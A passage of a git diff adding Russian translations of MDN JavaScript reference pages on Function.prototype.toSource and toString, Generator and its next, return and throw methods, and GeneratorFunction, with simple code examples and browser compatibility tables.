+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/tosource/index.html b/files/ru/web/javascript/reference/global_objects/function/tosource/index.html
new file mode 100644
index 0000000000..335967947b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/tosource/index.html
@@ -0,0 +1,87 @@
+---
+title: Function.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Function/toSource
+tags:
+  - Function
+  - JavaScript
+  - Method
+  - Non-standard
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/toSource
+---
+<div>
+ {{JSRef("Global_Objects", "Function")}} {{non-standard_header}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>toSource()</strong></code> возвращает строку, представляющую исходный код объекта.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>function</var>.toSource();
+Function.toSource();
+</code></pre>
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toSource</code> возвращает следующие значения:</p>
+<ul>
+ <li>Для встроенного объекта {{jsxref("Global_Objects/Function", "Function")}} метод <code>toSource</code> возвращает следующую строку, указывающую, что исходный код недоступен:
+  <pre class="brush: js">function Function() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Для пользовательских функций, метод <code>toSource</code> возвращает исходный код JavaScript, определяющий объект как строку.</li>
+</ul>
+<p>Этот метод обычно вызывается внутренними механизмаим движка JavaScript, а не явно в коде. Вы можете вызвать <code>toSource</code> во время отладки для изучения содержимого объекта.</p>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/tostring/index.html b/files/ru/web/javascript/reference/global_objects/function/tostring/index.html
new file mode 100644
index 0000000000..70b6522ebe
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/tostring/index.html
@@ -0,0 +1,110 @@
+---
+title: Function.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Function/toString
+tags:
+  - Function
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/toString
+---
+<div>{{JSRef("Global_Objects", "Function")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>toString()</strong></code> возвращает строку, представляющую исходный код функции.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>function</var>.toString(indentation)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>indentation</code> {{non-standard_inline}} {{obsolete_inline(17)}}</dt>
+ <dd>Количество пробелов для отступов в строковом представлении исходного кода. Если параметр меньше или равен <code>-1</code>, большинство ненужных пробелов будет удалено.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Объект {{jsxref("Global_Objects/Function", "Function")}} переопределяет метод {{jsxref("Object.prototype.toString", "toString")}}, унаследованный из объекта {{jsxref("Global_Objects/Object", "Object")}}; он не наследует метод {{jsxref("Object.prototype.toString")}}. Для объектов {{jsxref("Global_Objects/Function", "Function")}} метод <code>toString</code> возвращает строку, представляющую объект в форме объявления функции. То есть, метод <code>toString</code> декомпилирует функцию и возвращает строку, включающую ключевое слово <code>function</code>, список аргументов, фигурные скобки и исходный код тела функции.</p>
+<p>JavaScript вызывает метод <code>toString</code> автоматически в случае, когда объект {{jsxref("Global_Objects/Function", "Function")}} представляется в качестве текстового значения, то есть, когда функция соединяется со строкой.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.2', 'Function.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.tostring', 'Function.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Особый случай с Gecko</h3>
+<p>Начиная с Gecko 17.0 {{geckoRelease("17")}}, метод <code>Function.prototype.toString()</code> реализован с сохранением исходного кода функции. Декомпилятор был удалён, так что параметр <code>indentation</code> больше не требуется. Смотрите {{bug("761723")}} для подробностей.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/generator/index.html b/files/ru/web/javascript/reference/global_objects/generator/index.html
new file mode 100644
index 0000000000..b5fe95a5bf
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/generator/index.html
@@ -0,0 +1,187 @@
+---
+title: Generator
+slug: Web/JavaScript/Reference/Global_Objects/Generator
+tags:
+  - ECMAScript 2015
+  - Generator
+  - JavaScript
+  - Legacy Generator
+  - Legacy Iterator
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Генератор</strong></code> - это объект, возвращаемый {{jsxref("Statements/function*", "функцией-генератором", "", 1)}} и соответствующий как <a href="/ru/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">"Итерируемому" протоколу</a>, так и <a href="/ru/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">протоколу "Итератор"</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"</pre>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Generator.prototype.next()")}}</dt>
+ <dd>Возвращает значение, полученное выражением {{jsxref("Operators/yield", "yield")}}.</dd>
+ <dt>{{jsxref("Generator.prototype.return()")}}</dt>
+ <dd>Возвращает заданное значение и заканчивает генератор.</dd>
+ <dt>{{jsxref("Generator.prototype.throw()")}}</dt>
+ <dd>Выдает ошибку генератора.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Бесконечный_Итератор">Бесконечный Итератор</h3>
+
+<pre class="brush: js">function* idMaker() {
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = idMaker(); // "Generator { }"
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="Legacy_generator_objects">Legacy generator objects</h2>
+
+<p>Firefox (SpiderMonkey) also implements an earlier version of generators in <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a>, where the star (*) in the function declaration was not necessary (you just use the <code>yield</code> keyword in the function body). However, legacy generators are deprecated. Do not use them; they are going to be removed ({{bug(1083482)}}).</p>
+
+<h3 id="Legacy_generator_methods">Legacy generator methods</h3>
+
+<dl>
+ <dt><code>Generator.prototype.next() </code>{{non-standard_inline}}</dt>
+ <dd>Returns a value yielded by the {{jsxref("Operators/yield", "yield")}} expression. This corresponds to <code>next()</code> in the ES2015 generator object.</dd>
+ <dt><code>Generator.prototype.close()</code> {{non-standard_inline}}</dt>
+ <dd>Closes the generator, so that when calling <code>next()</code> an {{jsxref("StopIteration")}} error will be thrown. This corresponds to the <code>return()</code> method in the ES2015 generator object.</dd>
+ <dt><code>Generator.prototype.send()</code> {{non-standard_inline}}</dt>
+ <dd>Used to send a value to a generator. The value is returned from the {{jsxref("Operators/yield", "yield")}} expression, and returns a value yielded by the next {{jsxref("Operators/yield", "yield")}} expression. <code>send(x)</code> corresponds to <code>next(x)</code> in the ES2015 generator object.</dd>
+ <dt><strong><code>Generator.</code></strong><code>prototype.</code><strong><code>throw()</code> </strong> {{non-standard_inline}}</dt>
+ <dd>Throws an error to a generator. This corresponds to the <code>throw()</code> method in the ES2015 generator object.</dd>
+</dl>
+
+<h3 id="Legacy_generator_example">Legacy generator example</h3>
+
+<pre class="brush: js">function fibonacci() {
+  var a = yield 1;
+  yield a * 2;
+}
+
+var it = fibonacci();
+console.log(it);          // "Generator {  }"
+console.log(it.next());   // 1
+console.log(it.send(10)); // 20
+console.log(it.close());  // undefined
+console.log(it.next());   // throws StopIteration (as the generator is now closed)
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<h3 id="Legacy_generators">Legacy generators</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "The legacy generator function", "", 1)}}</li>
+ <li>{{jsxref("Operators/Legacy_generator_function", "The legacy generator function expression", "", 1)}}</li>
+ <li>{{jsxref("StopIteration")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li>
+</ul>
+
+<h3 id="ES2015_generators">ES2015 generators</h3>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/generator/next/index.html b/files/ru/web/javascript/reference/global_objects/generator/next/index.html
new file mode 100644
index 0000000000..5e69003f85
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/generator/next/index.html
@@ -0,0 +1,116 @@
+---
+title: Generator.prototype.next()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/next
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Reference
+  - генератор
+  - метод
+  - прототип
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/next
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>next</strong></code><strong><code>()</code></strong> возвращает объект с двумя свойствами <code>done</code> и <code>value</code>. Также вы можете задать параметр для метода <code>next</code>, чтобы отправить значение в генератор.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.next(value)</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Значение, отправляемое в генератор. Значение будет установлено в виде результата выражения yield, т. е. в [переменная] = yield [выражение] значение, которое было передано в функцию .next будет присвоено [переменной].</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code> с двумя свойствами:</p>
+
+<ul>
+ <li><code>done</code> (boolean)
+
+  <ul>
+   <li>Имеет значение <code>true</code>, если итератор находится за окончанием итерируемой последовательности. В этом случае <code>value</code> может указывать <em>возвращаемое значение</em> итератора.</li>
+   <li>Имеет значение <code>false</code>, если итератор может создать следующее значение в последовательности. Это эквивалентно вообще не указанному свойству <code>done</code>.</li>
+  </ul>
+ </li>
+ <li><code>value</code> - любое JavaScript значение, возвращаемое итератором. Может быть опущено, когда <code>done</code> имеет значение <code>true</code>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_next">Использование <code>next()</code></h3>
+
+<p>Следующий пример показывает простой генератор и объект, который возвращает метод <code>next</code>:</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"
+g.next();      // "Object { value: 1, done: false }"
+g.next();      // "Object { value: 2, done: false }"
+g.next();      // "Object { value: 3, done: false }"
+g.next();      // "Object { value: undefined, done: true }"
+</pre>
+
+<h3 id="Отправка_значения_в_генератор">Отправка значения в генератор</h3>
+
+<p>В этом примере <code>next</code> вызывается со значением. Отметим, что первый вызов ничего не вывел, потому что генератор изначально ничего не получил.</p>
+
+<pre class="brush: js">function* gen() {
+  while(true) {
+    var value = yield null;
+    console.log(value);
+  }
+}
+
+var g = gen();
+g.next(1);
+// "{ value: null, done: false }"
+g.next(2);
+// 2
+// "{ value: null, done: false }"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совсестимость_с_браузерами">Совсестимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Generator.next")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итераторы и генераторы</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/generator/return/index.html b/files/ru/web/javascript/reference/global_objects/generator/return/index.html
new file mode 100644
index 0000000000..1e77d8c64a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/generator/return/index.html
@@ -0,0 +1,95 @@
+---
+title: Generator.prototype.return()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/return
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/return
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>return()</strong></code> возвращает полученное значение и останавливает генератор.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.return(value)</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Значение для возврата.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение, которое было передано в виде аргумента.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_return">Использование <code>return()</code></h3>
+
+<p>Следующий пример показывает простой генератор и метод <code>return</code>.</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen();
+
+g.next();        // { value: 1, done: false }
+g.return('foo'); // { value: "foo", done: true }
+g.next();        // { value: undefined, done: true }
+</pre>
+
+<p>Если <code>return(value)</code> вызывает генератор, который находится в уже "завершённом" состоянии, генератор останется в "завершённом" состоянии. Если аргумент не был передан, свойство <code>value</code> вернёт тот же объект, что и <code>.next()</code>. Если аргумент был передан, он будет установлен как значение свойства <code>value</code> возвращаемого объекта.</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen();
+g.next(); // { value: 1, done: false }
+g.next(); // { value: 2, done: false }
+g.next(); // { value: 3, done: false }
+g.next(); // { value: undefined, done: true }
+g.return(); // { value: undefined, done: true }
+g.return(1); // { value: 1, done: true }
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Generator.return")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html
new file mode 100644
index 0000000000..cfdf5d3bbc
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html
@@ -0,0 +1,140 @@
+---
+title: Generator.prototype.throw()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/throw
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>throw()</strong></code> возобновляет выполнение тела генератора кидая внутри исключение  <code>и возвращает объект со свойствами done и value</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.throw(exception)</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>exception</code></dt>
+ <dd>Исключение, которое будет брошено. Во время отладки бывает полезно сделать его <code>instanceof</code> {{jsxref("Error")}}.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект с двумя свойствами:</p>
+
+<ul>
+ <li><code>done</code> (boolean)
+
+  <ul>
+   <li>Имеет значение <code>true</code> если iterator прошел конец итерируемой последовательности. В этом случае <code>value</code> опционально определяется выражением <em>return value</em> внутри итератора .</li>
+   <li>Имеет значение <code>false</code> если iterator имеет возможность вернуть следующее значение последовательности. Это равносильно когда свойство done не указано.</li>
+  </ul>
+ </li>
+ <li><code>value</code> - любое JavaScript значение,  возвращенное итератором. Может быть проигнорировано, когда <em><code>done</code> === <code>true</code></em>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_throw()">Использование <code>throw()</code></h3>
+
+<p>В этом примере показан простой генератор и исключение,  которое выбрасывается используя метод <code>throw</code>. Исключение может быть поймано, используя, как обычно, блок <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code>.</p>
+
+<pre class="brush: js">function* gen() {
+  while(true) {
+    try {
+       yield 42;
+    } catch(e) {
+      console.log('Error caught!');
+    }
+  }
+}
+
+var g = gen();
+g.next();
+// { value: 42, done: false }
+g.throw(new Error('Something went wrong'));
+// "Error caught!"
+// { value: 42, done: false }
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>13</td>
+   <td>{{CompatGeckoDesktop(26)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(26)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html
new file mode 100644
index 0000000000..4cce9504e9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html
@@ -0,0 +1,108 @@
+---
+title: GeneratorFunction
+slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
+translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>GeneratorFunction</code> constructor</strong> создает новый {{jsxref("Statements/function*", "generator function")}} объект. В JavaScript каждая функция-генератор - это фактически <code>GeneratorFunction</code> объект.</p>
+
+<p><code>Обратите внимание, что GeneratorFunction</code> - это не глобальный объект. Он может быть получен при выполнении следующего кода.</p>
+
+<pre class="brush: js">Object.getPrototypeOf(function*(){}).constructor
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>new GeneratorFunction ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Имена, используемые функцией как имена формальных аргументов. Каждый должен быть строкой, которая соответствует правильному JavaScript идентификатору или списком таких строк, разделенных запятыми; например "<code>x</code>", "<code>theValue</code>", или "<code>a,b</code>".</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>A string containing the JavaScript statements comprising the function definition.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>{{jsxref("Statements/function*", "generator function")}} objects created with the <code>GeneratorFunction</code> constructor are parsed when the function is created. This is less efficient than declaring a generator function with a {{jsxref("Statements/function*", "function* expression")}} and calling it within your code, because such functions are parsed with the rest of the code.</p>
+
+<p>All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.</p>
+
+<div class="note">
+<p><strong>Note:</strong> {{jsxref("Statements/function*", "generator function")}} created with the <code>GeneratorFunction</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>GeneratorFunction</code> constructor was called. This is different from using {{jsxref("Global_Objects/eval", "eval")}} with code for a generator function expression.</p>
+</div>
+
+<p>Invoking the <code>GeneratorFunction</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code><strong>GeneratorFunction.length</strong></code></dt>
+ <dd>The <code>GeneratorFunction</code> constructor's length property whose value is 1.</dd>
+ <dt>{{jsxref("GeneratorFunction.prototype")}}</dt>
+ <dd>Allows the addition of properties to all generator function objects.</dd>
+</dl>
+
+<h2 id="GeneratorFunction_prototype_object"><code>GeneratorFunction</code> prototype object</h2>
+
+<h3 id="Properties_2">Properties</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype', 'Properties')}}</div>
+
